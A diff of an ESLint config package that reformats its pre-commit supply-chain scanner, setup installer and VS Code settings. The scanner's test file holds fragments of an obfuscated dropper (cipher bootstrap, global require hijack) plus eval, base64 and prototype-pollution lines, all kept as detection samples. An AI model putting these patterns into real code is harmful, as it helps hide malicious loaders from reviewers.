printSupplyFinding,
|
|
45
45
|
shouldSkip,
|
|
46
46
|
} from './scanner.mjs'
|
|
47
|
-
import {
|
|
48
|
-
getRepoRoot,
|
|
49
|
-
getStagedNameStatus,
|
|
50
|
-
runSafe,
|
|
51
|
-
} from '../git-hooks/shared.mjs'
|
|
47
|
+
import { getRepoRoot, getStagedNameStatus, runSafe } from '../git-hooks/shared.mjs'
|
|
52
48
|
|
|
53
49
|
// ─── Read staged file content ──────────────────────────────────────────────────
|
|
54
50
|
|
|
@@ -70,8 +66,8 @@ function readStagedContent(filePath) {
|
|
|
70
66
|
*/
|
|
71
67
|
function scanStagedFiles() {
|
|
72
68
|
const staged = getStagedNameStatus()
|
|
73
|
-
const toScan = staged.filter(
|
|
74
|
-
['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path))
|
|
69
|
+
const toScan = staged.filter(
|
|
70
|
+
({ status, path }) => ['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path))
|
|
75
71
|
)
|
|
76
72
|
if (toScan.length === 0) return []
|
|
77
73
|
|
|
@@ -81,7 +77,10 @@ function scanStagedFiles() {
|
|
|
81
77
|
let skipped = 0
|
|
82
78
|
|
|
83
79
|
for (const { path: filePath } of toScan) {
|
|
84
|
-
if (shouldSkip(filePath)) {
|
|
80
|
+
if (shouldSkip(filePath)) {
|
|
81
|
+
skipped++
|
|
82
|
+
continue
|
|
83
|
+
}
|
|
85
84
|
|
|
86
85
|
const content = readStagedContent(filePath)
|
|
87
86
|
if (!content) continue
|
|
@@ -91,7 +90,7 @@ function scanStagedFiles() {
|
|
|
91
90
|
|
|
92
91
|
findings.push(
|
|
93
92
|
...collectPatternFindings(lines, isConfig, filePath),
|
|
94
|
-
...collectObfuscatedLineFindings(lines, filePath)
|
|
93
|
+
...collectObfuscatedLineFindings(lines, filePath)
|
|
95
94
|
)
|
|
96
95
|
}
|
|
97
96
|
|
|
@@ -111,10 +110,9 @@ function scanStagedFiles() {
|
|
|
111
110
|
*/
|
|
112
111
|
function getNewlyAddedPackages() {
|
|
113
112
|
const staged = getStagedNameStatus()
|
|
114
|
-
const pkgFiles = staged.filter(
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
&& !path.includes('node_modules'),
|
|
113
|
+
const pkgFiles = staged.filter(
|
|
114
|
+
({ status, path }) =>
|
|
115
|
+
['A', 'M'].includes(status[0]) && path.endsWith('package.json') && !path.includes('node_modules')
|
|
118
116
|
)
|
|
119
117
|
if (pkgFiles.length === 0) return []
|
|
120
118
|
|
|
@@ -131,8 +129,9 @@ function getNewlyAddedPackages() {
|
|
|
131
129
|
}
|
|
132
130
|
}
|
|
133
131
|
return all
|
|
132
|
+
} catch {
|
|
133
|
+
return new Set()
|
|
134
134
|
}
|
|
135
|
-
catch { return new Set() }
|
|
136
135
|
}
|
|
137
136
|
|
|
138
137
|
const added = new Set()
|
|
@@ -156,8 +155,11 @@ function checkInstallScripts(pkgName, repoRoot) {
|
|
|
156
155
|
if (!existsSync(pkgJsonPath)) return []
|
|
157
156
|
|
|
158
157
|
let pkg
|
|
159
|
-
try {
|
|
160
|
-
|
|
158
|
+
try {
|
|
159
|
+
pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8'))
|
|
160
|
+
} catch {
|
|
161
|
+
return []
|
|
162
|
+
}
|
|
161
163
|
|
|
162
164
|
const findings = []
|
|
163
165
|
for (const scriptName of ['preinstall', 'install', 'postinstall']) {
|
|
@@ -199,7 +201,7 @@ function scanNewDependencies(repoRoot) {
|
|
|
199
201
|
|
|
200
202
|
process.stdout.write(`\nSupply-chain scan: ${newPkgs.length} newly added package(s)...\n`)
|
|
201
203
|
|
|
202
|
-
return newPkgs.flatMap(
|
|
204
|
+
return newPkgs.flatMap(pkgName => {
|
|
203
205
|
const findings = []
|
|
204
206
|
const similar = detectTyposquat(pkgName)
|
|
205
207
|
if (similar) {
|
|
@@ -220,7 +222,7 @@ function scanNewDependencies(repoRoot) {
|
|
|
220
222
|
function runAudit(repoRoot) {
|
|
221
223
|
if (process.env.SECURITY_AUDIT !== '1') return
|
|
222
224
|
|
|
223
|
-
process.stdout.write(
|
|
225
|
+
process.stdout.write('\nRunning pnpm audit (SECURITY_AUDIT=1)...\n')
|
|
224
226
|
const result = runSafe('pnpm audit --audit-level=high 2>&1')
|
|
225
227
|
if (result) process.stdout.write(`${DIM}${result}${R}\n`)
|
|
226
228
|
}
|
|
@@ -230,8 +232,8 @@ function runAudit(repoRoot) {
|
|
|
230
232
|
function main() {
|
|
231
233
|
if (process.env.SKIP_SECURITY_SCAN === '1') {
|
|
232
234
|
process.stderr.write(
|
|
233
|
-
`\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n`
|
|
234
|
-
|
|
235
|
+
`\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n` +
|
|
236
|
+
`${YLW} This bypass is intentional and has been logged.${R}\n\n`
|
|
235
237
|
)
|
|
236
238
|
return
|
|
237
239
|
}
|
|
@@ -240,7 +242,7 @@ function main() {
|
|
|
240
242
|
|
|
241
243
|
printScanHeader('@archipelago/security-scan', 'socket.dev-style pre-commit guard')
|
|
242
244
|
|
|
243
|
-
const fileFindings
|
|
245
|
+
const fileFindings = scanStagedFiles()
|
|
244
246
|
const supplyFindings = scanNewDependencies(repoRoot)
|
|
245
247
|
|
|
246
248
|
runAudit(repoRoot)
|
|
@@ -13,24 +13,28 @@ import { CONFIG_FILE_PATTERNS, FILE_PATTERNS, POPULAR_PACKAGES } from './pattern
|
|
|
13
13
|
|
|
14
14
|
// ─── ANSI colours ──────────────────────────────────────────────────────────────
|
|
15
15
|
|
|
16
|
-
export const R
|
|
17
|
-
export const RED
|
|
18
|
-
export const YLW
|
|
19
|
-
export const CYN
|
|
20
|
-
export const GRN
|
|
16
|
+
export const R = '\x1b[0m'
|
|
17
|
+
export const RED = '\x1b[31m'
|
|
18
|
+
export const YLW = '\x1b[33m'
|
|
19
|
+
export const CYN = '\x1b[36m'
|
|
20
|
+
export const GRN = '\x1b[32m'
|
|
21
21
|
export const BOLD = '\x1b[1m'
|
|
22
|
-
export const DIM
|
|
23
|
-
export const HR
|
|
22
|
+
export const DIM = '\x1b[2m'
|
|
23
|
+
export const HR = `\x1b[2m${'─'.repeat(62)}\x1b[0m`
|
|
24
24
|
|
|
25
25
|
// ─── Severity badge ────────────────────────────────────────────────────────────
|
|
26
26
|
|
|
27
27
|
/** @param {'critical'|'high'|'medium'|'low'} severity */
|
|
28
28
|
export function badge(severity) {
|
|
29
29
|
switch (severity) {
|
|
30
|
-
case 'critical':
|
|
31
|
-
|
|
32
|
-
case '
|
|
33
|
-
|
|
30
|
+
case 'critical':
|
|
31
|
+
return `${RED}${BOLD}[CRITICAL]${R}`
|
|
32
|
+
case 'high':
|
|
33
|
+
return `${RED}[HIGH] ${R}`
|
|
34
|
+
case 'medium':
|
|
35
|
+
return `${YLW}[MEDIUM] ${R}`
|
|
36
|
+
default:
|
|
37
|
+
return `${CYN}[LOW] ${R}`
|
|
34
38
|
}
|
|
35
39
|
}
|
|
36
40
|
|
|
@@ -43,6 +47,7 @@ export function badge(severity) {
|
|
|
43
47
|
*/
|
|
44
48
|
export const SELF_REFERENTIAL_SCAN_EXCLUSIONS = [
|
|
45
49
|
'packages/eslint-config/eslint.config.mjs',
|
|
50
|
+
'packages/eslint-config/tools/git-hooks/pre-commit.mjs',
|
|
46
51
|
'packages/eslint-config/tools/git-hooks/pre-push.mjs',
|
|
47
52
|
'packages/eslint-config/tools/security/patterns.mjs',
|
|
48
53
|
'packages/eslint-config/tools/security/risks.mjs',
|
|
@@ -142,9 +147,7 @@ export function levenshtein(a, b) {
|
|
|
142
147
|
for (let j = 0; j <= b.length; j++) dp[0][j] = j
|
|
143
148
|
for (let i = 1; i <= a.length; i++) {
|
|
144
149
|
for (let j = 1; j <= b.length; j++) {
|
|
145
|
-
dp[i][j] = a[i - 1] === b[j - 1]
|
|
146
|
-
? dp[i - 1][j - 1]
|
|
147
|
-
: 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
|
|
150
|
+
dp[i][j] = a[i - 1] === b[j - 1] ? dp[i - 1][j - 1] : 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
|
|
148
151
|
}
|
|
149
152
|
}
|
|
150
153
|
return dp[a.length][b.length]
|
|
@@ -217,9 +220,7 @@ export function printScanHeader(title, subtitle) {
|
|
|
217
220
|
export function printScanFooter(blocking, warnings, blockMessage, bypassHint) {
|
|
218
221
|
console.log(`\n${HR}`)
|
|
219
222
|
if (blocking.length === 0) {
|
|
220
|
-
const warnNote = warnings.length > 0
|
|
221
|
-
? ` ${DIM}(${warnings.length} warning(s) — review recommended)${R}`
|
|
222
|
-
: ''
|
|
223
|
+
const warnNote = warnings.length > 0 ? ` ${DIM}(${warnings.length} warning(s) — review recommended)${R}` : ''
|
|
223
224
|
console.log(` ${GRN}${BOLD}✔ Security scan passed${R}${warnNote}`)
|
|
224
225
|
console.log(HR)
|
|
225
226
|
console.log()
|
|
@@ -21,34 +21,34 @@ const testCases = [
|
|
|
21
21
|
{
|
|
22
22
|
label: 'Dropper — global require hijack',
|
|
23
23
|
expectedId: 'require-global-hijack',
|
|
24
|
-
line:
|
|
24
|
+
line: 'global[_$_1e42[0]]= require;',
|
|
25
25
|
},
|
|
26
26
|
{
|
|
27
27
|
label: 'Dropper — global bracket assignment via decoded array',
|
|
28
28
|
expectedId: 'global-bracket-assignment',
|
|
29
|
-
line:
|
|
29
|
+
line: 'global[_$_1e42[2]]= module',
|
|
30
30
|
},
|
|
31
31
|
{
|
|
32
32
|
label: 'Dropper — obfuscated _$_ variable names',
|
|
33
33
|
expectedId: 'obfuscated-variable-names',
|
|
34
|
-
line:
|
|
34
|
+
line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];',
|
|
35
35
|
},
|
|
36
36
|
{
|
|
37
37
|
label: 'Dropper — shuffle-cipher IIFE bootstrap',
|
|
38
38
|
expectedId: 'shuffle-cipher-iife',
|
|
39
|
-
line:
|
|
39
|
+
line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};return g.join(\'\')})("rmcej%otb%",2857687)',
|
|
40
40
|
},
|
|
41
41
|
{
|
|
42
42
|
label: 'Dropper — array-based Function call chain (final execution)',
|
|
43
43
|
expectedId: 'array-fn-call-chain',
|
|
44
|
-
line:
|
|
44
|
+
line: 'var Tgw=jFD(LQI,pYd );Tgw(2509);',
|
|
45
45
|
},
|
|
46
46
|
|
|
47
47
|
// ── Classic attack patterns ───────────────────────────────────────────────
|
|
48
48
|
{
|
|
49
49
|
label: 'eval() call',
|
|
50
50
|
expectedId: 'no-eval',
|
|
51
|
-
line:
|
|
51
|
+
line: 'const x = eval(someVar)',
|
|
52
52
|
},
|
|
53
53
|
{
|
|
54
54
|
label: 'new Function() call',
|
|
@@ -58,22 +58,22 @@ const testCases = [
|
|
|
58
58
|
{
|
|
59
59
|
label: 'Buffer base64 decode',
|
|
60
60
|
expectedId: 'base64-decode',
|
|
61
|
-
line:
|
|
61
|
+
line: "const payload = Buffer.from('abc123', 'base64').toString()",
|
|
62
62
|
},
|
|
63
63
|
{
|
|
64
64
|
label: 'String.fromCharCode obfuscation',
|
|
65
65
|
expectedId: 'charcode-obfuscation',
|
|
66
|
-
line:
|
|
66
|
+
line: 'const s = String.fromCharCode(104, 101, 108, 108, 111, 32, 119, 111, 114)',
|
|
67
67
|
},
|
|
68
68
|
{
|
|
69
69
|
label: 'Hex-escaped string payload',
|
|
70
70
|
expectedId: 'hex-string-obfuscation',
|
|
71
|
-
line:
|
|
71
|
+
line: "const k='\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x20\\x68'",
|
|
72
72
|
},
|
|
73
73
|
{
|
|
74
74
|
label: 'Prototype pollution',
|
|
75
75
|
expectedId: 'prototype-pollution',
|
|
76
|
-
line:
|
|
76
|
+
line: 'obj.__proto__ = { admin: true }',
|
|
77
77
|
},
|
|
78
78
|
{
|
|
79
79
|
label: 'child_process in config',
|
|
@@ -97,14 +97,11 @@ for (const tc of testCases) {
|
|
|
97
97
|
console.log(`${GRN}✔${R} ${tc.label}`)
|
|
98
98
|
console.log(` ${YLW}→ [${hit.severity.toUpperCase()}] ${hit.id}${R}`)
|
|
99
99
|
passed++
|
|
100
|
-
}
|
|
101
|
-
else {
|
|
100
|
+
} else {
|
|
102
101
|
console.log(`${RED}${BOLD}✖ ${tc.label}${R}`)
|
|
103
102
|
console.log(` Expected pattern id: ${tc.expectedId}`)
|
|
104
|
-
if (matched.length > 0)
|
|
105
|
-
|
|
106
|
-
else
|
|
107
|
-
console.log(` (no patterns matched this line)`)
|
|
103
|
+
if (matched.length > 0) console.log(` (other matches: ${matched.map(p => p.id).join(', ')})`)
|
|
104
|
+
else console.log(' (no patterns matched this line)')
|
|
108
105
|
failed++
|
|
109
106
|
}
|
|
110
107
|
}
|
package/tools/setup/install.mjs
CHANGED
|
@@ -13,19 +13,16 @@ function log(msg) {
|
|
|
13
13
|
|
|
14
14
|
function getProjectRoot() {
|
|
15
15
|
const root = process.env.INIT_CWD || process.cwd()
|
|
16
|
-
if (!existsSync(join(root, 'package.json')))
|
|
17
|
-
return null
|
|
16
|
+
if (!existsSync(join(root, 'package.json'))) return null
|
|
18
17
|
return root
|
|
19
18
|
}
|
|
20
19
|
|
|
21
20
|
function ensureDir(dirPath) {
|
|
22
|
-
if (!existsSync(dirPath))
|
|
23
|
-
mkdirSync(dirPath, { recursive: true })
|
|
21
|
+
if (!existsSync(dirPath)) mkdirSync(dirPath, { recursive: true })
|
|
24
22
|
}
|
|
25
23
|
|
|
26
24
|
function writeIfMissing(filePath, content) {
|
|
27
|
-
if (existsSync(filePath))
|
|
28
|
-
return false
|
|
25
|
+
if (existsSync(filePath)) return false
|
|
29
26
|
writeFileSync(filePath, content, 'utf8')
|
|
30
27
|
return true
|
|
31
28
|
}
|
|
@@ -56,8 +53,7 @@ indent_size = 2
|
|
|
56
53
|
[Makefile]
|
|
57
54
|
indent_style = tab
|
|
58
55
|
`
|
|
59
|
-
if (writeIfMissing(editorConfigPath, content))
|
|
60
|
-
log('Created .editorconfig')
|
|
56
|
+
if (writeIfMissing(editorConfigPath, content)) log('Created .editorconfig')
|
|
61
57
|
}
|
|
62
58
|
|
|
63
59
|
// ─── .eslint-user-ignore ────────────────────────────────────────────────────
|
|
@@ -80,8 +76,7 @@ function ensureEslintUserIgnore(projectRoot) {
|
|
|
80
76
|
# docs/**
|
|
81
77
|
# *.pdf
|
|
82
78
|
`
|
|
83
|
-
if (writeIfMissing(ignorePath, content))
|
|
84
|
-
log('Created .eslint-user-ignore')
|
|
79
|
+
if (writeIfMissing(ignorePath, content)) log('Created .eslint-user-ignore')
|
|
85
80
|
}
|
|
86
81
|
|
|
87
82
|
// ─── eslint.config.mjs ─────────────────────────────────────────────────────
|
|
@@ -97,8 +92,7 @@ export default createArchipelagoConfig({
|
|
|
97
92
|
},
|
|
98
93
|
})
|
|
99
94
|
`
|
|
100
|
-
if (writeIfMissing(eslintConfigPath, content))
|
|
101
|
-
log('Created eslint.config.mjs')
|
|
95
|
+
if (writeIfMissing(eslintConfigPath, content)) log('Created eslint.config.mjs')
|
|
102
96
|
}
|
|
103
97
|
|
|
104
98
|
// ─── .prettierrc ────────────────────────────────────────────────────────────
|
|
@@ -110,8 +104,7 @@ function ensurePrettierConfig(projectRoot) {
|
|
|
110
104
|
export default config
|
|
111
105
|
`
|
|
112
106
|
|
|
113
|
-
if (writeIfMissing(prettierModuleConfigPath, prettierModuleConfigContent))
|
|
114
|
-
log('Created prettier.config.mjs')
|
|
107
|
+
if (writeIfMissing(prettierModuleConfigPath, prettierModuleConfigContent)) log('Created prettier.config.mjs')
|
|
115
108
|
|
|
116
109
|
const prettierPath = join(projectRoot, '.prettierrc')
|
|
117
110
|
const defaults = {
|
|
@@ -135,14 +128,11 @@ export default config
|
|
|
135
128
|
const plugins = Array.isArray(current.plugins) ? current.plugins : []
|
|
136
129
|
const deduped = [...new Set([...plugins, 'prettier-plugin-tailwindcss'])]
|
|
137
130
|
current.plugins = deduped
|
|
138
|
-
if (typeof current.singleQuote !== 'boolean')
|
|
139
|
-
|
|
140
|
-
if (typeof current.semi !== 'boolean')
|
|
141
|
-
current.semi = false
|
|
131
|
+
if (typeof current.singleQuote !== 'boolean') current.singleQuote = true
|
|
132
|
+
if (typeof current.semi !== 'boolean') current.semi = false
|
|
142
133
|
writeFileSync(prettierPath, `${JSON.stringify(current, null, 2)}\n`, 'utf8')
|
|
143
134
|
log('Updated .prettierrc')
|
|
144
|
-
}
|
|
145
|
-
catch {
|
|
135
|
+
} catch {
|
|
146
136
|
// Keep existing file untouched if it is not JSON.
|
|
147
137
|
}
|
|
148
138
|
}
|
|
@@ -151,8 +141,7 @@ function ensureCommitlintConfig(projectRoot) {
|
|
|
151
141
|
const commitlintConfigPath = join(projectRoot, 'commitlint.config.cjs')
|
|
152
142
|
const content = `module.exports = require('@archpublicwebsite/eslint-config/commitlint')
|
|
153
143
|
`
|
|
154
|
-
if (writeIfMissing(commitlintConfigPath, content))
|
|
155
|
-
log('Created commitlint.config.cjs')
|
|
144
|
+
if (writeIfMissing(commitlintConfigPath, content)) log('Created commitlint.config.cjs')
|
|
156
145
|
}
|
|
157
146
|
|
|
158
147
|
function ensureLintStagedConfig(projectRoot) {
|
|
@@ -161,8 +150,7 @@ function ensureLintStagedConfig(projectRoot) {
|
|
|
161
150
|
|
|
162
151
|
export default config
|
|
163
152
|
`
|
|
164
|
-
if (writeIfMissing(lintStagedConfigPath, content))
|
|
165
|
-
log('Created lint-staged.config.mjs')
|
|
153
|
+
if (writeIfMissing(lintStagedConfigPath, content)) log('Created lint-staged.config.mjs')
|
|
166
154
|
}
|
|
167
155
|
|
|
168
156
|
function ensurePrettierIgnore(projectRoot) {
|
|
@@ -178,8 +166,7 @@ pnpm-lock.yaml
|
|
|
178
166
|
package-lock.json
|
|
179
167
|
yarn.lock
|
|
180
168
|
`
|
|
181
|
-
if (writeIfMissing(prettierIgnorePath, content))
|
|
182
|
-
log('Created .prettierignore')
|
|
169
|
+
if (writeIfMissing(prettierIgnorePath, content)) log('Created .prettierignore')
|
|
183
170
|
}
|
|
184
171
|
|
|
185
172
|
// ─── .hooks ─────────────────────────────────────────────────────────────────
|
|
@@ -233,18 +220,15 @@ node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs
|
|
|
233
220
|
created = true
|
|
234
221
|
}
|
|
235
222
|
})
|
|
236
|
-
if (created)
|
|
237
|
-
log('Created .hooks/ (pre-commit, prepare-commit-msg, commit-msg, post-commit, pre-push)')
|
|
223
|
+
if (created) log('Created .hooks/ (pre-commit, prepare-commit-msg, commit-msg, post-commit, pre-push)')
|
|
238
224
|
}
|
|
239
225
|
|
|
240
226
|
function ensureHooksPath(projectRoot) {
|
|
241
|
-
if (!existsSync(join(projectRoot, '.git')))
|
|
242
|
-
return
|
|
227
|
+
if (!existsSync(join(projectRoot, '.git'))) return
|
|
243
228
|
try {
|
|
244
229
|
execSync('git config core.hooksPath .hooks', { cwd: projectRoot, stdio: 'ignore' })
|
|
245
230
|
log('Set git core.hooksPath → .hooks')
|
|
246
|
-
}
|
|
247
|
-
catch {
|
|
231
|
+
} catch {
|
|
248
232
|
// Ignore setup failures in non-git contexts.
|
|
249
233
|
}
|
|
250
234
|
}
|
|
@@ -284,8 +268,7 @@ function ensurePackageScripts(projectRoot) {
|
|
|
284
268
|
let pkg
|
|
285
269
|
try {
|
|
286
270
|
pkg = JSON.parse(readFileSync(packageJsonPath, 'utf8'))
|
|
287
|
-
}
|
|
288
|
-
catch {
|
|
271
|
+
} catch {
|
|
289
272
|
return
|
|
290
273
|
}
|
|
291
274
|
|
|
@@ -299,7 +282,8 @@ function ensurePackageScripts(projectRoot) {
|
|
|
299
282
|
precommit: 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-commit.mjs',
|
|
300
283
|
prepush: 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs',
|
|
301
284
|
'security:global-scan': 'bash ./node_modules/@archpublicwebsite/eslint-config/tools/security/scan-global.sh',
|
|
302
|
-
'security:safe-check':
|
|
285
|
+
'security:safe-check':
|
|
286
|
+
'bash ./node_modules/@archpublicwebsite/eslint-config/tools/security/safe-reinstall.sh --check-only',
|
|
303
287
|
'security:pre-push': 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs',
|
|
304
288
|
}
|
|
305
289
|
|
|
@@ -311,13 +295,26 @@ function ensurePackageScripts(projectRoot) {
|
|
|
311
295
|
}
|
|
312
296
|
}
|
|
313
297
|
|
|
298
|
+
const lintStagedConfigPath = join(projectRoot, 'lint-staged.config.mjs')
|
|
299
|
+
const hasLintStagedConfig = existsSync(lintStagedConfigPath)
|
|
300
|
+
|
|
301
|
+
// Auto-heal legacy/broken lint-staged script when it points to a missing file.
|
|
302
|
+
if (
|
|
303
|
+
typeof scripts['lint-staged'] === 'string' &&
|
|
304
|
+
scripts['lint-staged'].includes('--config lint-staged.config.mjs') &&
|
|
305
|
+
!hasLintStagedConfig
|
|
306
|
+
) {
|
|
307
|
+
scripts['lint-staged'] = 'lint-staged'
|
|
308
|
+
updated = true
|
|
309
|
+
}
|
|
310
|
+
|
|
314
311
|
if (!updated) {
|
|
315
312
|
return
|
|
316
313
|
}
|
|
317
314
|
|
|
318
315
|
pkg.scripts = scripts
|
|
319
316
|
writeFileSync(packageJsonPath, `${JSON.stringify(pkg, null, 2)}\n`, 'utf8')
|
|
320
|
-
log('Updated package.json scripts (precommit, security:global-scan, security:safe-check)')
|
|
317
|
+
log('Updated package.json scripts (lint-staged, precommit, security:global-scan, security:safe-check)')
|
|
321
318
|
}
|
|
322
319
|
|
|
323
320
|
// ─── .vscode/extensions.json ────────────────────────────────────────────────
|
|
@@ -328,26 +325,24 @@ function ensureVscodeExtensions(projectRoot) {
|
|
|
328
325
|
|
|
329
326
|
ensureDir(vscodeDir)
|
|
330
327
|
|
|
331
|
-
const recommended = [
|
|
332
|
-
|
|
333
|
-
'esbenp.prettier-vscode',
|
|
334
|
-
'vue.volar',
|
|
335
|
-
]
|
|
328
|
+
const recommended = ['dbaeumer.vscode-eslint', 'esbenp.prettier-vscode', 'vue.volar']
|
|
329
|
+
const unwanted = ['octref.vetur', 'vue.vscode-typescript-vue-plugin']
|
|
336
330
|
|
|
337
|
-
let current = { recommendations: [] }
|
|
331
|
+
let current = { recommendations: [], unwantedRecommendations: [] }
|
|
338
332
|
if (existsSync(extPath)) {
|
|
339
333
|
try {
|
|
340
334
|
current = JSON.parse(readFileSync(extPath, 'utf8'))
|
|
341
|
-
if (!Array.isArray(current.recommendations))
|
|
342
|
-
|
|
343
|
-
}
|
|
344
|
-
|
|
345
|
-
current = { recommendations: [] }
|
|
335
|
+
if (!Array.isArray(current.recommendations)) current.recommendations = []
|
|
336
|
+
if (!Array.isArray(current.unwantedRecommendations)) current.unwantedRecommendations = []
|
|
337
|
+
} catch {
|
|
338
|
+
current = { recommendations: [], unwantedRecommendations: [] }
|
|
346
339
|
}
|
|
347
340
|
}
|
|
348
341
|
|
|
349
342
|
const merged = [...new Set([...current.recommendations, ...recommended])]
|
|
343
|
+
const mergedUnwanted = [...new Set([...current.unwantedRecommendations, ...unwanted])]
|
|
350
344
|
current.recommendations = merged
|
|
345
|
+
current.unwantedRecommendations = mergedUnwanted
|
|
351
346
|
writeFileSync(extPath, `${JSON.stringify(current, null, 2)}\n`, 'utf8')
|
|
352
347
|
log('Created/updated .vscode/extensions.json')
|
|
353
348
|
}
|
|
@@ -356,8 +351,7 @@ function ensureVscodeExtensions(projectRoot) {
|
|
|
356
351
|
|
|
357
352
|
function main() {
|
|
358
353
|
const projectRoot = getProjectRoot()
|
|
359
|
-
if (!projectRoot)
|
|
360
|
-
return
|
|
354
|
+
if (!projectRoot) return
|
|
361
355
|
|
|
362
356
|
log('Setting up project...')
|
|
363
357
|
|
package/tools/setup/vscode.mjs
CHANGED
|
@@ -9,20 +9,30 @@ const TAG = '[@archpublicwebsite/eslint-config]'
|
|
|
9
9
|
* the correct file types.
|
|
10
10
|
*/
|
|
11
11
|
const VSCODE_ESLINT_SETTINGS = {
|
|
12
|
+
// Use workspace TypeScript for consistent Volar/TS plugin resolution
|
|
13
|
+
'typescript.tsdk': 'node_modules/typescript/lib',
|
|
14
|
+
'typescript.enablePromptUseWorkspaceTsdk': true,
|
|
15
|
+
|
|
16
|
+
// Ensure Vue SFC files are always handled as Vue documents
|
|
17
|
+
'files.associations': {
|
|
18
|
+
'*.vue': 'vue',
|
|
19
|
+
},
|
|
20
|
+
|
|
21
|
+
// Volar + TS integration for Vue 3 SFC template diagnostics
|
|
22
|
+
'vue.server.hybridMode': true,
|
|
23
|
+
'volar.takeOverMode.enabled': true,
|
|
24
|
+
|
|
25
|
+
// Prevent duplicate/broken diagnostics from built-in TS/JS validators
|
|
26
|
+
// (vue-tsc + Volar remain the source of truth for Vue type diagnostics).
|
|
27
|
+
'typescript.validate.enable': false,
|
|
28
|
+
'javascript.validate.enable': false,
|
|
29
|
+
|
|
12
30
|
// Use flat config mode (required for eslint.config.mjs)
|
|
13
31
|
'eslint.useFlatConfig': true,
|
|
32
|
+
'eslint.workingDirectories': [{ mode: 'auto' }],
|
|
14
33
|
|
|
15
34
|
// Enable ESLint for these languages
|
|
16
|
-
'eslint.validate': [
|
|
17
|
-
'javascript',
|
|
18
|
-
'javascriptreact',
|
|
19
|
-
'typescript',
|
|
20
|
-
'typescriptreact',
|
|
21
|
-
'vue',
|
|
22
|
-
'json',
|
|
23
|
-
'jsonc',
|
|
24
|
-
'markdown',
|
|
25
|
-
],
|
|
35
|
+
'eslint.validate': ['javascript', 'javascriptreact', 'typescript', 'typescriptreact', 'vue', 'json', 'jsonc'],
|
|
26
36
|
|
|
27
37
|
// Auto-fix on save via ESLint
|
|
28
38
|
'editor.codeActionsOnSave': {
|
|
@@ -33,7 +43,22 @@ const VSCODE_ESLINT_SETTINGS = {
|
|
|
33
43
|
// Let ESLint handle formatting instead of the built-in formatter
|
|
34
44
|
'editor.formatOnSave': false,
|
|
35
45
|
|
|
36
|
-
//
|
|
46
|
+
// Formatters per language — ESLint enforces no-semi, single-quote on save
|
|
47
|
+
'[javascript]': {
|
|
48
|
+
'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
|
|
49
|
+
},
|
|
50
|
+
'[javascriptreact]': {
|
|
51
|
+
'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
|
|
52
|
+
},
|
|
53
|
+
'[typescript]': {
|
|
54
|
+
'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
|
|
55
|
+
},
|
|
56
|
+
'[typescriptreact]': {
|
|
57
|
+
'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
|
|
58
|
+
},
|
|
59
|
+
'[vue]': {
|
|
60
|
+
'editor.defaultFormatter': 'Vue.volar',
|
|
61
|
+
},
|
|
37
62
|
'[json]': {
|
|
38
63
|
'editor.defaultFormatter': 'dbaeumer.vscode-eslint',
|
|
39
64
|
},
|
|
@@ -71,16 +96,15 @@ function deepMerge(target, source) {
|
|
|
71
96
|
const srcVal = source[key]
|
|
72
97
|
const tgtVal = result[key]
|
|
73
98
|
if (
|
|
74
|
-
srcVal !== null
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
99
|
+
srcVal !== null &&
|
|
100
|
+
typeof srcVal === 'object' &&
|
|
101
|
+
!Array.isArray(srcVal) &&
|
|
102
|
+
tgtVal !== null &&
|
|
103
|
+
typeof tgtVal === 'object' &&
|
|
104
|
+
!Array.isArray(tgtVal)
|
|
80
105
|
) {
|
|
81
106
|
result[key] = deepMerge(tgtVal, srcVal)
|
|
82
|
-
}
|
|
83
|
-
else {
|
|
107
|
+
} else {
|
|
84
108
|
result[key] = srcVal
|
|
85
109
|
}
|
|
86
110
|
}
|
|
@@ -107,8 +131,7 @@ export function ensureVscodeSettings(projectRoot) {
|
|
|
107
131
|
try {
|
|
108
132
|
const raw = readFileSync(settingsPath, 'utf8')
|
|
109
133
|
current = JSON.parse(raw)
|
|
110
|
-
}
|
|
111
|
-
catch {
|
|
134
|
+
} catch {
|
|
112
135
|
// File exists but is not valid JSON – back it up and start fresh
|
|
113
136
|
const backupPath = `${settingsPath}.backup`
|
|
114
137
|
writeFileSync(backupPath, readFileSync(settingsPath, 'utf8'), 'utf8')
|